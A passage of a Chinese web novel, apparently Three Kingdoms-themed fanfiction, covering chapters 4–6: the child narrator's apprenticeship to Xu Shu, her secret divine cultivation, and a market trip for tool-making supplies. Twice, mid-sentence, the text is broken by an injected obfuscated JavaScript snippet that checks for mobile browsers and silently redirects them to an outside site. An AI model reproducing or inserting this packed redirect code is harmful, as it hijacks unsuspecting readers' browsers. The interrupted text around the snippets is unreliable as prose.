小姑娘今天穿了一身白色底橘色菱格花纹的练功服,领口袖口有用金线绣成的鸟儿和果实的图案,腰间是一条窄窄的青绿色腰带。那衣服料子极好,今天阳光也足,她的身影在阳光下熠熠生辉。 琥珀棕色的头发用青色和橘色双色发带绑成两个整齐的发髻,随着她奔跑跳跃的脚步,发带尾端像两只小蝴蝶上下翩飞。 徐庶擦去眼角笑出来的眼泪,伸手接住扑进她怀里的小女孩。 “我们在笑梨梨,辩儿不让她喊哥哥,她就喊辩儿姐姐。” “啊?”小女孩震惊地抬起脸看向我,“刘辩是男的!不能叫姐姐的!” “唔……”我决定装傻。 辩儿朝她张开手,她自然地从徐庶怀里起来,给了他一个大大的抱抱,看起来对这套流程相当熟练。没抱一会她松开手了,转身朝我走过来。 ? 我被“呼”地一下拉进她怀里,她双臂紧紧绕着我的背,左右摇摆着晃来晃去。 啊原来我也有啊……我只好反手也抱住她,和她一起左右晃悠。 “小宝,左君呢?” 徐庶张口问道。她不晃了,转头跟徐庶说:“师尊说他今早不来用早膳了,他要去灵河!徐神徐神灵河是哪里呀,好玩吗?为什么师尊不带我去?” “下次徐神带你去玩……”徐庶伸手搂过跑到她身边的小宝安抚着,转头看向史子眇,“怎么突然去……你可知道些什么?莫不是灵河有异动?” “不知呢。我回来时并没有听到什么风声。”史君摇了摇头。 “……师尊还说要徐神带着梨树去找他。”小宝突然又小声说了这句话。 “行,我知道了。”徐庶看着一脸担忧的小宝,笑着拧了拧她的脸,“别担心,左君答应你了不把梨树送走,就肯定不会送走的,再说还有徐神看着呢,你怕什么?” 我眼看着小宝听完这句话后很明显地松了一口气,开心地说着“我要坐在这里……”一边拖着椅子要塞进我和徐庶之间。徐庶一手把小宝抱到她腿上,脚挪开我原本坐着的小凳子,一手拎起那把成年人坐的实木椅子摆好,把我俩塞进那把椅子里。 辩儿看起来好像很想跟她挨着坐,又舍不得史君,可怜巴巴地看看史君,又隔着我看她。我看他这样子,跳下凳子跟小宝换了个位置,坐在了她跟徐庶中间。 工作人员上前来给他们两个喂饭,徐庶帮我拿了一些饭菜放在我的盘子里。 果然不可能当作什么事情都没发生地过下去呢,我一边吃着一边想。 好像在我还是小动物模样的时候,阁主已经动过要把我处理掉的念头了。因为小宝反对才留下了我。 那位左慈阁主是个什么样的人? 之前饭桌上见过一面,只记得他身形高大,一袭白衣,却无什么清冷孤寂的气质,看起来清正端肃、不怒自威。 不知他要说什么……要是想要我的命,之前随时都可以让我消失。既然留我到现在,那说明他暂时认为我是“无害”的。 随遇而安好了。 4. 初来4 灵河边。 雪衣仙人遗世独立,站在一片丰茂的绿草树影之中,飞鸟蝴蝶环绕周身自然飞舞。因为太过纯白,远远望去,竟像是在仲夏幽绿世界的中央,出现了一个仙影白洞。 我拉着徐庶的手,眼见这神异的一幕,被震撼得完全说不出话来。 一路而来的疲惫将我的情绪放大,我在那一瞬间几乎忘记了我和徐庶为何要长途跋涉来到这里,或许只是来看美景的? “来了吗。”仙影沉静的声音响起。他转过头来看向我们,指尖停着一只蝴蝶,随着他抬手的动作,蝴蝶飞舞着消散在风里。 等等,那是消失了?不是我眼花? 徐庶抱拳向前一躬,“左君。徐庶携弟子拜见阁主。” 我赶紧收回视线,跟着徐庶抱拳……啊啊啊啊啊抱反了!抱拳礼也太容易抱反了吧……跟着深鞠一躬,“弟子拜见阁主。” “免礼。今日见过,便算正式入我阁内了。”左慈道,“还未给元直行过拜师礼吧。” 啥,还要行拜师礼? “还没。”我老实答。 突然我发现徐庶有点古怪的动静,抬头看她,发现她表情似乎觉得我的回答很不像样。 咋了嘛! “既如此,”左慈好像叹了一口气,但他站得太远了我不确定,“时辰正巧,便在这里行礼吧。” 算了,听他们指挥好了。我决定开摆。 好在他们也清楚让一个刚刚诞生的五岁小孩特别周到是一件很不现实的事情,左慈转过身,露出刚刚被他宽大衣袍遮掩在背后的案几。 案上摆着一套茶具,和一卷竹简。他端坐到案几后,向徐庶示意。 徐庶拉着我走到案前,正色敛容,又是一个朝着左慈的抱拳礼。我跟着照做。 徐庶这次没有再等左慈的示意,她转向我,正坐了下来,伸出手把我刚刚和她赶路时被树枝刮乱的头发理理整齐,又狠狠拂了几下我的衣服,把它理理平整。 然后她看着我,好像想说什么,但是看着我的脸又一下子没说出来。先笑出来了,嘴角翘起来,眼睛弯弯的,感觉心里很多感慨。 “虽然早就已经教过你东西了,但是从今天开始,才算你正式拜我为师。” “梨树。你天生地养,无父母亲族,但既入我门内,拜我为师,以后师父就是你的家人。” “从今往后,修心、立身、正德行。跟着师父好好学剑术,有朝一日学成了,当个英雄大侠。” 她变得和我之前看到的她不太一样了。好严肃好正经。左慈拿起那卷竹简,示意我展开。 是一卷拜师帖。 字写得很飘逸,看着像是徐庶本人的手笔。是考虑到我从来没写过字,连这种需要我自己写的都代劳了…… 心里被她与外表不符的仔细熨得暖洋洋的。左慈开口,一句一句教我念。 啊啊啊帮大忙了正好看不太懂没有标点符号的繁体字书…… 念完了一整本拜师帖,左慈让我将此帖递给徐庶。我躬身递过,左慈命我奉茶。 奉完茶后便是给徐庶磕头,给左慈磕头,这个简单的拜师礼就算成了。 是不是能回去了!我拉着徐庶的袖子已经迫不及待要跑路了,左慈开口拦住了我。 “从今往后,”他看起来很谨慎地开口道,“有什么难处只管跟元直说就是了。不必来寻吾。” ?啊,那肯定啊……我不太懂他这么说是什么意思,只好开口回“是。” 他眼神又一移,表情看起来有些许为难,“不可被风言风语扰乱道心,要专心修行。” “是。” “……无事了。你是个聪明有分寸的孩子。虽与常人不同,但在仙门之中,你也并非独一无二。” “是。” ……等等,他是不是说了不得了的事? “什么意思?”我情不自禁开口追问,“我不是这里唯一的妖怪吗?” 左慈和徐庶似是没想到我会这么说,皆是一愣。然后他俩都笑了。 ?笑什么…… 左慈脸上为难的表情终于消散了,神情看起来轻松了些。他开口道, “你的记忆没有告诉你吗?” “你不是妖怪。你是先天巫子。” —— 都已经到家了,我还在被今天得知的事情震撼着。 据左慈所说,我是这个世界自然产出的一种名为“巫子”的能量体。 精灵?妖?反正是类似的概念。与我相似又不太一样的—— 左慈和徐庶,他们是凡人服下仙胎后变成的“仙”。 拥有极长的寿命,拥有神奇的力量。 左慈说我理应也懂得如何运用这种力量。 但当我问他该如何驱动时,他露出了不解的表情。 ……不是吧,有这么酷炫的设定,结果我根本不会用? “天尊,我有一天能用他们会的那些法术吗?”在小世界中完成今日份的功法运转,我向女神问道。 她好像睁开了眼睛,温柔地注视着我。 “可以。你如今的身躯还太过年幼,无法发挥你所有的力量。只需坚持认真修炼,待身体长成,自然能随心所欲地使用法术。” 啊原来可以!我高兴了。毕竟拥有超能力多有意思啊!我要学御剑飞行! “既然提及此,”女神说到,“今天便教你如何召唤金身。” 金身,神的术法。是自身神力的延伸,既能起到保护本体的作用,又能使神力不被本体能力限制,自由施展术法。 我与这个世界本土的仙巫们,力量来源并不相同。我的力量来自神界,从这个小世界中吸收神力并在体内炼化,变成可以被自身驱使的力量。 本土世界的仙巫,力量似乎来自于那个我需要查清问题的能量源。 先不管这个。我就地盘坐,听着女神的指示,开始尝试召唤金身。 气沉丹田……闭上眼睛,试着使用神力“看见”自己。 丹田中神力在凝聚,盘旋。小肚子暖洋洋的,有种让人熟悉的安全感。 让神力流过全身经络这件事还蛮需要耐心。我仔细地控制它们走过我全身的动脉和静脉——这种感觉相当奇妙,甚至有点可怕,看见自己全身的血管耶!话说以后需要经常这样的话是不是就省了体检了…… 第一次尝试这个过程的我花了将近一个小时的时间。以后经常练习的话,血管的强度会增加,让神力流经它们的过程也会变得很快,身体也会变得更强大。 全部走过一遍,身体充盈着神力,像是充满电的蓄电池。此时只需通过丹田外放神力——— 自我体内爆发出一股强大的能量。睁开眼,我看见自己的体外包裹着一层薄藤色的能量壳。 “第一次尝试,能做到全身覆盖已经很不错了。”女神笑着说。 “接下来……就是手印。” 临·兵·斗·者·皆·阵·列·前·行 要九个手印全部打完,才可以发挥神力百分之百的力量。 女神将一块金色小方块飞过来,小方块在我面前转了一圈,分成了四个更小的小方块,形成了一块显示屏。 哇这个……好有趣!我把手按上去,发现属于我的神力与金色融合,这块显示屏像书本一样可以翻页了。 第一个手势是这样的……我把大拇指和食指伸直,其余手指卷曲,试着结印。 !!!!!! 突然发生了很可怕的事。我感觉身体内的神力在被不受控制地汇聚到双手之间,速度太快力道太猛,我全身都在发痛。 “停下。”女神的声音响起。 停……停不下!!两手之间吸力好强!! 那四个小方块重新变成一整个,狠狠朝我的手砸过来! 有外物扰乱,那股恐怖的吸力终于消失。我的手痛得好像不是我自己的了,勉强举起胳膊,两只手仍在发抖。 全身的金身也消退了。我脱力坐下来,吓得仍在大口深呼吸。 “……现在教你结印,是有些为时尚早了。”女神的声音低沉下来,“千万不要在吾不在时尝试,若像今天这样,靠你自己的力量是无法停止的。” “……是。”呜哇真可怕…… 向女神告辞,我的意识回到现世。 房门还好好地关着,徐庶在把我“哄睡着”之后就回她自己的房间了。 修炼时候的样子实在不适合被别人看见。我的意识前往小世界,但这并不代表我的意识与肉身分离了。 它们还在一起,只是意识在修炼时会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536096|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为一根运输管道,将神力输送进身体。而我的意识在小世界修炼时,身体在现世也在动作,当然也能被外人看到神力外放的样子。 肉身此时的样子大概类似在玩vr游戏?我想。 所以才需要和徐庶分开睡。不然我半夜修炼,神力爆发出的光芒毫无疑问会吵醒她。 也不是刻意瞒着她……实在是我没找到一个开口的时机。说实话,我目前根本不清楚这个神力到底有什么作用,总不能跑过去跟她说“徐庶徐庶告诉你一个秘密其实我每晚都在跟神交流哦证据是我每晚都会准时发光!”吧。 还是等我能结印之后,搞清楚这个东西到底有什么用,再跟她坦白吧。 在此之前,最好不要让任何人知道这件秘…… 我抬头抬了一半,和两个惊讶的猫猫头对视了。 小宝和辩儿趴在窗边目瞪口呆地看着我。 密。 ……。 我拎起被子的边边,安然躺下盖好,在忙碌了一天之后陷入了婴儿般的精致睡眠…… “不要当做没看见我们两个啊!!” —— 小孩子虽然小,但是床也是很小的。 小小的床上就这么满满当当地挤了三个孩子。 咋会这样…… 小宝一脸兴奋地凑了过来,“梨树梨树,你为什么会发光呀!” “我们叫你你为什么不理我们呀?” “之前在树林里我还以为是我看错了!那是什么术啊!” “你为什么也会用术啊?你也是仙人吗?” 好能说的一个小女孩……虽然想开口找补一下但完全插不进嘴…… “哎呀你先别讲了,让梨树说嘛。”辩儿开口打断了小宝,然后看着我,“你为什么会用仙人的术啊?” “……”我完全不知道怎么说,这根本是我计划外的状况。 我不想让我有修炼方法的事情让徐庶之外的人知晓,要编个什么理由,让她们觉得我的这种状态是相对正常的…… 怎么办……感觉惹上了个大麻烦…… 在不清楚仙门里其他人的底细之前,绝对不能亮出底牌。但是小孩子又爱刨根问底,不理会的话他们会去问他们的监护人……那样就要直接跟大人们解释了! “你是不是害怕我们跟大人们说啊。”辩儿突然开口了。 ! 我完全没想到他会这么说,转头看着他。月光下他的眼睛特别纯粹,就这么看着我。 我点头。 “为什么不能跟大人们说呀!”小宝大大咧咧开口。 “因为有些事情如果被其他大人们知道,会惹来很大的麻烦的。”辩儿认真地说,“他们可能会想要害梨树。所以要帮她保密。” “师尊也不能说吗?” “不能的。” “那史君呢?” “史君不会害人……不过最好也不要说。” “师尊也不会害人!” ?他只有七岁……怎么会明白这种道理? “唔……好吧!”小宝一点头,“梨树你说吧!我发誓,绝对不会说出去!” 如果我面前给出这句承诺的是个成年人,那,我是绝不可能就这么轻松愉快地信了然后敞开心扉的。 但在我面前发誓的是个孩子。 她背对着窗户,看不太清她的脸。但是她的眼睛亮晶晶的,在说话。 信任我。 ……但我决定再加一套保险。我坐起身,把他们两个也拉起来,手指比成一个“六”的手势。 “拉钩。”我说,“拉过钩了,发的誓就成真了。” 他们两个好像第一次见到这种仪式。两个人也伸出小手比成一样的手势。 我把我们三个的小拇指勾在一起,拉着他俩的手上下摇晃。 “拉钩上吊一百年不许变。” “谁变谁就是小狗。” “我在与我的记忆对话。” “我是巫子,记忆里有术的使用方法,我在重新学习发光的术如何使用。” 我想了想,决定再为未来的发明也找个合适的借口。 “记忆中,我前世的老师……她教授了我许多物品的制作方法,并命我无论在何处,都要努力重现它们。” 5. 初来5 第二天一早徐庶来喊起床的时候,他们两个完全喊不醒。 也是嘛,毕竟昨晚聊到那么晚……我站在院子里的井边,大大地打了个哈欠。 本来以为要被更仔细地问个清楚,还想了一些其他的话来搪塞,结果没想到她们两个知道我是在听老师上课之后就完全不感兴趣了。 ……嗯,毕竟是小孩子嘛。 然后话题就变了——小宝真的是个话非常多的孩子,一晚上基本都是她在说。听她说好玩的事情,说对她们好的前辈们,说山里的小蚂蚱和野花野草,说凉爽的小溪流。 辩儿有时插两句嘴,说到共同的愉快回忆就一起笑个不停。 “下次梨树和我们一起去!” 时常插进来这么一句。 两个可爱的孩子。我还挺庆幸阁主的两个弟子都是好孩子的。 如果是两个以欺负人为乐的小坏蛋,那我的麻烦就有点多了。 我拿了一个木碗接水漱口——这个年代完全没有牙刷牙膏,这几天我一直忙东忙西,根本没机会给自己准备日用品。 等会儿让徐庶带着我去集市看看好了……正好今天没有别的事情。 心里想着徐庶,她的手就搭在我的脑袋上了。 “跟小宝和辩儿已经是好朋友啦?”她开心道,“梨梨真棒!” 是交到了朋友就能被夸夸的年纪呢…… 我点头。 吃过早饭(他们两个的早饭被随侍人员们带去了我们家,等他们醒来吃),我在徐庶的旁观下练完了今天份的剑术,一上午的时间就这么过去。还没等到吃午饭,我就央求徐庶带我下山去赶集。 再晚就来不及了! “赶集……你想去买东西吗?” “嗯。想买些用的。” “那不用下山啊!走,徐神带你去长生塔,什么好玩的都有卖的!” 长生塔……仙门里的机构吗? —— ……好…… ……好热闹! 我一手拉着徐庶的手,一手挎着一个小提篮,走下弯曲栈道的最后一个台阶时,被眼前的热闹景象惊呆了。 之前还在好奇明明在云帝宫往下看有不少宫室,但是为什么鲜少看见同门往来。 原来都聚在这里啊!! 长生塔——隐鸢阁内平时四处云游的“山水郎”们聚集在一起,交流情报、交换物品、联络感情的地方。 高塔本体高六层,木质结构,坐北朝南,每一层都做了一整圈的窗户,感觉花了大心思在采光上。 不过目前的我和徐庶还来不及走进塔内细看……因为塔前的人和摊位,实在是!太多了!! “哟,这个月回来的人不少嘛。”徐庶见行人太多了,就把我抱了起来。 这次我没有拒绝她——没有办法,实在是人过于多了,像广场跨年一样热闹,以我目前的身高只能看见一堵堵穿汉服的墙…… 徐庶是真的很高。我被抱起来后和她差不多高度,她的视角几乎能看到所有人的头顶。 从这个视角才能看见大家都在干什么。有一些摊位看起来是常驻在这里的,其中有一家卖武器的摊位几乎是一个完整的铺面了——老板整整齐齐地垒了个石台拿来放成品的武器,还在石台后支起了凉棚。他本人躺在摇椅上扇着蒲扇,有人来问便随意让对方试。 仙人们也不跟他客气,挑到心仪的武器甚至会拉上同门就地切磋两招。那老人打的武器看来是质量上乘,有个仙人明显是熟客,一番寒暄之后把那石台上剑类的都包圆了。 也有卖茶水饭食的。在稍远处的木瓦房里,支着一些矮桌矮凳,有三五成群看起来是好友的仙人们坐在一起吃东西。 这个场景……总觉得有点眼熟…… 很像…… “哟,难得看见那个老板来山上,”徐庶看到我在看,以为我饿了,抬腿就往那边走,“在山下生意太好了,平时都不亲自上山来的,都是使唤儿子来。正好,带你尝尝他家的手艺!” “山下?” “对啊。等哪天徐神有空了带你们仨下山,咱们进城逛去,成都城里好吃的好玩的多着呢。” 所以这个人为什么这么喜欢自称神啦! 徐庶说出成都这两个字时我就已经想起是在哪里见过那场景了。 我看着那些喝茶吃面的仙人,记忆里几年前在人民公园喝茶的记忆渐渐与眼前景象重叠。 那是我第一次尝试独自旅行,攒了两个月的旅费,结果没想到根本没花完,大头都在飞机票上了。 现在想想觉得当时的自己想法很幼稚,不去需要高消费的地方的话,其实哪里的物价都差不多。但是对当时的我来说,从家乡考到首都是我为数不多的出远门经验,离开某地前往某地,对我来说是多么昂贵的体验啊。 现在离开家乡到了另一个人间,竟是我花销最少的一次“出远门”。 徐庶要了两碗面,我们找位置坐下来吃。 真是让人怀念的味道……蜀地的辣酱味道真是不一样…… ……不过我怎么记得辣椒好像不是本土作物来着? 算了,都不是原本的世界了…… 一边吃着,我拿出小挎篮里的物品清单,再提醒一下自己要买的东西。 大部分我想要的东西都需要自己亲手攒。比如要在家里造纸来用。 东汉初期蔡伦改进造纸术,使造纸的成本变低,但似乎是受限于产能……我在这里生活了这段时间,这里的人日常生活里完全没有用纸的习惯,上厕所时甚至还在用一些很可怕的手段清理自己。 也因为几乎没什么人用纸,我要造日用纸来给我自己用,就得连造纸的工具也一并做了。 造纸过程里最需要的两样工具——把经过了预处理的植物纤维加工成纸浆的锤子,以及后期成型中用来平摊纸浆、让纸张成型的过滤网。 只靠现在的我的力气,要完全用人力来锤,肯定是不现实的……如果能想办法搞个畜力驱动,容量比较大的搅拌机出来……可那样又要额外养头牛……果然还是要想点办法! 还有过滤网,这个绝对不会有现成的卖,不过好在结构简单,用竹子之类的东西打个框架,再随便用麻线或者劈成窄片的竹子编起来就行。 那么我需要的就是一把锋利的斧头、锯子、锤子,以及如果有的话,最好还能有一些铁钉。 至于用来打浆的池子,我也准备直接用家里的澡盆了,不漏水易清洁,很合适。 牙刷也需要自己做,但要买合适趁手的工具,一把适合我用的锋利的小刀,最好再有个锥子。 工具类怎么样都能有办法,更困难的还是牙膏洗发水香皂这类日用品的制作。 香皂洗发水之类的还好说,这一类的清洁用品用纯天然的材料也能做出差不多能用的成品来。 只要控制好配比……还好以前特别喜欢搞东搞西做副业,这类的手工艺品制作接触了不少,有制作的经验。 最难办的……是牙膏!我握着备忘录小竹条,表情差点没控制住变得皱起来。 现代牙膏是无论如何也不可能自己手搓出来的,让牙膏保持好口感和清洁力的山梨糖醇和水合硅石这两样东西看名字就不是手工业者能搞得出来的东西! 倒是也有古法牙膏这种东西存在……但说实话,以前好奇买过,味道实在很感人。 其实如果本来只有我自己,就算要用又苦又咸还不起泡的牙膏,忍耐一下也没什么。 但是现在身边还有两个小孩子……我想让他们从小养成刷牙的习惯,就不能把牙膏的味道做得太可怕。 最好有水果清新的味道…… 突然一只手伸到我眼前打了个响指。我吓了一跳,抬头看徐庶。 她一手托着腮,打响指的那只手在我回神后也没有收回去,抬手揉了揉我的脑袋。 “吃完了?咱们走吧?” “嗯。”我手里捏着竹简,挎着小挎篮跳下凳子。 走出瓦房,我们往其他摊位那边赶。 “梨梨,嘶……你这都画的什么呀?”徐庶凑近我,看我手里的那片竹简。 这竹简还是问左君借的,我用图案代替文字,画了一堆乱七八糟的鬼画符。 “这个是锤子,”我指给她看我画的其中一个, “这个是,斧头,还有……” “等一下,等会儿,这是斧头吗,我还以为是只小鸭子……”徐庶捂着嘴,边发出笑的气音边吐槽。 “不是鸭子!”我郁闷,真的这么不像斧头吗。 跟徐庶就这么笑着闹着,说完了我想要的东西。徐庶听完我报的单,停住了脚步,抱着臂挑眉看我。 怎么了,我应该没要特别贵的东西才对…… “……要是太贵,就只要斧头吧,其他的没有也行。”我开口道。 “不……这点钱小问题,都买了!”徐庶说,“倒也不是钱的事……梨梨你为什么想要这些东西呀?” “因为我想做手工。”我老实答。 “首宫是什么……” 糟了用错词了,这里是东汉哪来的手工业这种词啊! “是什么武器吗?”徐庶紧跟着问。 太好了她把这个词理解成名词了!我在心里狂舒一口气,猛猛点头。 “呵呵……好吧!你有你的主意。”徐庶揉了揉我的脑袋,牵起我的手往那家武器铺走。 “老段不光打武器,这种小工具他那也全,去了慢慢挑。” 武器铺。 我蹲在老板放在凉棚里的存货箱子前,看着这一大堆泛着生铁气味的工具,穿越以来第一次感受到了激动的情绪。 美好的生活!在向我招手了!!! 我在里面挑挑拣拣,徐庶在外面跟老板说话。 那老板是个看起来很有精神的大爷,须发半白,眼神明亮,身高跟体重都是中等,要比高大的徐庶略矮些。鼻子是红红的酒槽鼻,应当很爱喝酒。 看起来与徐庶交情不浅,我在这里面挑了一会儿的功夫,已经听他们从二十年前一起行侠仗义聊到明天一起下山喝酒了。 徐庶……她究竟活了多少岁啊。 刚刚一路走来时,路上一直不断地有人跟徐庶打招呼,有年少者也有老人,徐庶时不时就要停下来跟人聊天,让本来不远的一段路走了很久。 如果我今年真的只有五岁,大概会烦得拉着她的手硬要把她拉走吧。小时候和妈妈一起出门时,特别害怕遇见妈妈的熟人,因为她们只要遇见,一定会说很久的话,让小小的我在一边等得心焦又无聊。 现在,听徐庶与她的故友们聊天,也是我了解她的一种方式。 我抱着挑选好的工具走到柜台前给老板看。老板跟徐庶又是一阵推拉客气之后,徐庶扔下钱带着我跑了。 “呼……老段也太能聊了。”徐庶一手拎过我那已经被几样工具塞得满满当当的小挎篮,一手牵着我,往长生塔内走。 “再去见见徐神的几个老朋友,咱们就回家。”她低下头看着我,捏了捏我的手。 “好。” “徐庶徐庶,你今年多大了呀。”还是很好奇,我两只手握着她的手,一边晃一边开口问道。 “梨梨!你要叫我师父!真是的,怎么能直呼名字……”徐庶被我的称呼吓了一跳,不过她很自然地决定无视我的无礼,“师父今年三百……嘶,三百几十来着……” 竟然有三百多岁……“徐庶你活了好久。” “叫师父……”她把手抽出来往我脑门上了来了一下,不疼,但我还是假装很痛,一手捂着脑袋,笑着往她胳膊上贴。 以一个如此年轻健康的身体活了三百多年,真让人羡慕啊!我的脸颊贴着她的手臂这样想。 不用担心养老,也不用担心工作,就这样一个人,自由自在地生活三百年!这也太快乐了! 我现在是巫子……我也能活这么久吗? 那我岂不是可以和她一起生活很久很久了。 ……可以就好了。真的,不想再和家人分开了。 爸爸妈妈知道我的死讯之后……他们以后怎么办?阿米的父母对她不好,或许她会愿意替我照顾他们…… 人的生命怎么会如此脆弱。一个一瞬间的意外,我就再也见不到他们了。 可我还没有死。我来到了另一个世界,被迫开始了一段崭新的人生。 不论如何,得向前看。 “徐庶?徐庶啊啊啊啊啊啊啊啊啊啊我回来了啊啊啊啊啊啊啊!!!!!” 突然一个嘹亮的女声响起,徐庶被这声魔音贯耳吓得一缩脖子,下意识……扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536097|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个马步。 ?怎么会是这种反应…… 我的疑问马上有了答案。感受到身侧刮来一阵强风,徐庶松开了我的手,被扑上来的女人带着在原地转了好几圈。 “我好想你啊啊啊啊啊啊!!你想不想我?你想不想我啊!!” “想,想想想……阿霞你先放开我,呃……喘不上气来了……” 我在一边呆滞地看着徐庶被名叫阿霞的女人死死抱在怀里。眼前这个陌生的女人没比徐庶矮多少,身材看起来相当结实,是那种很明显的脂包肌。 她一身行走江湖的装束,头发也像男子一般,在头顶简单扎起一个发髻。 她依言放开徐庶,脸上的表情看起来很不好意思,“太久没见你了……没忍住……” “真是的……怎么都那么多年了,性格一点没变,还跟小时候似的……”徐庶整理好自己被揉得一团皱的衣服,拉过我来,“这是我徒弟。梨梨,跟徐霞前辈打招呼。” “徐霞前辈好。”我赶紧依言照做。好可怕,徐庶都对她无可奈何! “呜啊!说话了!”她看到我跟她到招呼,第一句话居然是这个。 “真漂亮……简直像个玉雕的娃娃。” 她蹲下捧着我的脸仔细地瞧。她的手很粗糙,有很多茧子,是个经常干粗活、经常拿刀剑的人的手。 是个朴实的好人……我在心里这么想。 她惊奇地看了一会儿,蹲在我面前抬头看向徐庶,“这位又是哪儿来的贵人家的孩子?” “……不是什么贵人家的,我在山下捡的。”徐庶说,“看着有眼缘,也给小宝辩儿她们多个玩伴。” “哦哦……这样……”她有摸了摸后脑勺,转过头来看我,拍了拍我的肩膀,“既然是徐神的弟子,以后也归师叔罩着了!有什么难处尽管说,谁欺负你了徐神没空管的时候,师叔给你出头!” 我两只手牵在一起,做出一副不好意思的样子,怯怯点头。 不过她这番话似乎……比起一部分的真心,更多的像是为自己口无遮拦问我身世,冒犯到徐庶的找补。 是个很熟悉人情世故的好人,我在心里如此评价她。 徐霞一把拉住徐庶往一边走,“你一定要看看我这回带回来的东西!!绝对都是没见过的好货色!!!” “哈……你每次带回来的东西我们都没见过!”徐庶特别无奈地笑了笑,跟着她走还不忘叫我跟紧,“上回去南边带回来的什么蝎子酒……还有那个蜂蛹干……” “多有意思!!那蝎子酒的味道是不是很特别!” “那倒也是……” 这位徐霞前辈是个行商啊……我拉着徐庶的手臂,装作一个好奇的孩子,不说话看着她们两个。 徐霞聊起她的商品时眉飞色舞,积极地跟徐庶推销她带回来的稀奇古怪的商品。 她的摊位也很有周游世界的行商的特色呢……我看着稍远处那辆停在塔边的四架马车。马车被改造成了一边可以整面打开的样式,方便走到哪里都能就地摆摊。拉车的马单独拴在一边,趴在地上休息。 “我这次去了超——级远的地方,带了一堆好东西回来!”徐霞三两步跑到马车上,在里面找了起来,边找边说,“我这次一口气跑到了交趾!” “怪不得一去就是两年。你第一次出门那么久,大家都很想你呢。”徐庶抱着双臂接她的茬。 “啊哈哈哈哈……最近几年老出门,胆子越来越大了。”她把货物一样一样往外搬,“我这次去南边涨了好多见识!还结交了好多奇人异士……” “那等有缘得见,一起喝酒啊。”徐庶笑了。 “那是自然!有机会一定引荐给你!” “好啦!这些就是我带回来的!马车里边还有存货,这里的不够里面还有!”她把最后一个包裹展开,叉着腰开心地吆喝。 从她和徐庶聊天开始就注意着这边的人们渐渐围了过来,在摊位前挑挑拣拣。还有人上来跟她与徐庶攀谈,我见没人注意到我,便自己看了起来。 各种手工业制品居多呢,其次就是酒和干货药材之类的……我看着摊位上的东西心里想。 从很远的地方带商品回来,果然还是这些东西比农产品更易保存。 但是我既不着急裁新衣,也看不出来那些药材有什么用处,都是暂时用不到的东西。 这可是少见的从遥远的地方带货物回来的行商耶,难道就没有什么特别让人惊喜的…… 没有。嗯……我站在摊位前一阵无语。想想也是啊,这种恰巧出现一个周游世界的行商,又恰好带回了土豆玉米之类高产量作物来让我发现,并凭此发家致富的bug行为怎么可能这么轻易地出现呢! 有点小失望,不过,今天已经收获很多了。不光买到了一堆工具,还认识了这么一位拥有奇妙人生经历的师叔! 或许以后可以拜托她帮我去找些什么。 又去长生塔里坐了一会儿,见了一些徐庶的同事,等她处理完回阁人员登记之类的公务,再出来时,已经傍晚了。 中午那一碗面实在不少,跑来跑去一下午也没有觉得饿。出来时徐霞已经收摊了,她在马车边搭了一口小锅,正在给自己做饭。 不会也是忙到现在才吃吧,真辛苦……不过我看着她亮亮的眼睛,又觉得很佩服她。 靠自己的双手挣来的幸福人生,身体再辛苦,心灵也是自由的。真好啊。 “徐神!要不要一起来吃点!”她看见我和徐庶,放下筷子向我们招呼。 “不吃了!我们要回去了!你休息吧!”徐庶跟她打完招呼,拉着我的手带着我回家。 我正要跟徐庶回去,突然闻到了一股熟悉的香味。 这种……富含油脂的水果的香味…… 是椰子! 香味的来源是哪!?我试图顺着香味去找,一回头看见了正在吃东西的徐霞。 竟然有好东西没拿出来!!! 我松开徐庶的手,哒哒哒跑到徐霞身边。她已经打算开吃了,看见我过来吓了一跳。 “梨梨!怎么了,我们要回家了!”徐庶又被我的自作主张惊到,只得跟着我跑过来。 我看着徐霞的锅里——是普通的一锅乱炖,但是…… 散发着浓郁的椰子香。 是椰子油! 6. 初来6 呼……我擦了把汗,一把抓起我这几天辛辛苦苦做了一堆的牙刷,情不自禁露出了满意的笑容。 赞耶!一把牙刷柄就可以用很久,只需要到期更换刷毛就行了! 把这些留着给小宝跟左君……这些是辩儿和史君他们的……剩下两三把我和徐庶用。给他们的多些,丢了或者坏了还有可以替换的,不需要时时跑来找我要。 距离从徐霞前辈那里获得椰子油的那天已经过去大概一周时间了。这一周的时间,我都在各处收集材料,为制作日用品做准备。 要从头开始打造生活,真是比想象之中麻烦得多!毕竟是几乎啥像样的日用品也没有的东汉时期…… 那天回家之后,我先是拉着徐庶狠狠收拾了家里那个乱七八糟的库房,一边收拾,一边听她说一些身边人的事。 徐庶活得久,但她以前不怎么回这个住处,据她自己说以前喜欢在山下四处游历,偶尔才会回山门。 这几年——也就是小宝出生起,她才时不时回来,帮需要闭关的左君照顾小宝。 然后也是这几天跟徐庶聊天,我才知道这位阁主的亲传弟子,全隐鸢阁的掌上明珠,一个非要我当她妹妹的小女孩——竟然是某位已离世的亲王家的女世子。而且听说左君有意在她长大后,劝说皇帝让她继承亲王之位。 而辩儿的身份则更夸张——他干脆就是皇子,听说还是皇长子。 不是这也太惊人了吧……我听徐庶说这番话的第一反应是很没有实感。 怎么就这么近距离接触皇亲国戚了!那两个,两个普通的小孩子!! 怪不得总觉得他俩身边一直都有很多工作人员围着。 